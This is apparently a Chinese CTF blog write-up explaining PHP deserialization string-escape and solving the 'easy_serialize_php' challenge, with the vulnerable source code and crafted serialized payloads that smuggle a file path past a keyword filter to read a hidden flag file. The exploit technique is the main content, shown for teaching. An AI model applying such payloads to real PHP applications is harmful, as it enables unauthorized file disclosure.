php反序列化字符串逃逸

发布于:2024-04-27 ⋅ 阅读:(17) ⋅ 点赞:(0)

字符串逃逸

字符串逃逸是通过改变序列化字符串的长度造成的php反序列化漏洞

一般是因为替换函数使得字符串长度发生变化,不论变长还是变短,原理都大致相同

在学习之前,要先了解序列化字符串的结构,在了解结构的基础上才能更好理解要输入多少被过滤的字符串

用例题的序列化字符串来分析一下吧(字符串变短的情况):

这是序列化后的字符串,过滤的是php,flag

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 目标是img,其中是一个需要读取的php页面的base64编码,需要绕过php的过滤,因为flag会被替换为空,那么就可以利用替换为空时的引号进行闭合来包含需要绕过的地方,相当于把原本不会被过滤的一个位置置空,将需要绕过的地方放到不会被不会被过滤的地方

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//当flag被替换为空后是这样的(这里我用#代替空方便查看)
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样一来被#包裹的字符串就成了user的属性值,那么function的位置就被#后面的字符串占据
在序列化的字符串中;}代表的是结束,所以第一个;}后面的字符串就是被丢弃的
s:2:"dd";s:1:"a",这部分字符串是自己添加的,因为有一个属性消失了,但是原本的属性数量是三个,所以添加一个,保持数量不变,否则会报错

[安洵杯 2019]easy_serialize_php

打开环境,点击source看见源码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

代码里面提示在phpinfo里面可能有我们想要的,访问看看,有个flag.php想办法访问(auto_append_file在所有页面底部自动包含文件,所以自动包含了这个文件)

 有两个关键的部分

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

第一,替换函数会匹配$img中的php,flag等字符串替换为空;

第二,当function=='shou_image'时,会读取$userinfo的值,参数为img

我们需要访问读取的页面是后缀为php,如果直接放在img中就会存在过滤,所以要利用替换函数进行字符串逃逸,使得目标页面能够成功读取

开始构造payload

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 进行序列化后,通过分析我们需要把img的属性值放在function的位置来执行,这样既满足了img为参数,也绕过了替换函数,就是相当于我们吞掉了function,那么因为之前有三个属性,所以我们需要在添加一个属性,否则就会执行失败(注意属性长度要一致,不然过滤后,如果引号不能闭合会报错)

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

 

进行传参

 

把/d0g3_fllllllag进行base64编码

 PS:

在构造这部分时我自己出现了点问题

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

对于function的赋值,起初我的赋值是

";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}'

 但是这样的赋值是报错的

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

 因为这样的赋值会导致序列化后出现两个引号中间为空,那么引号的闭合也就出现了问题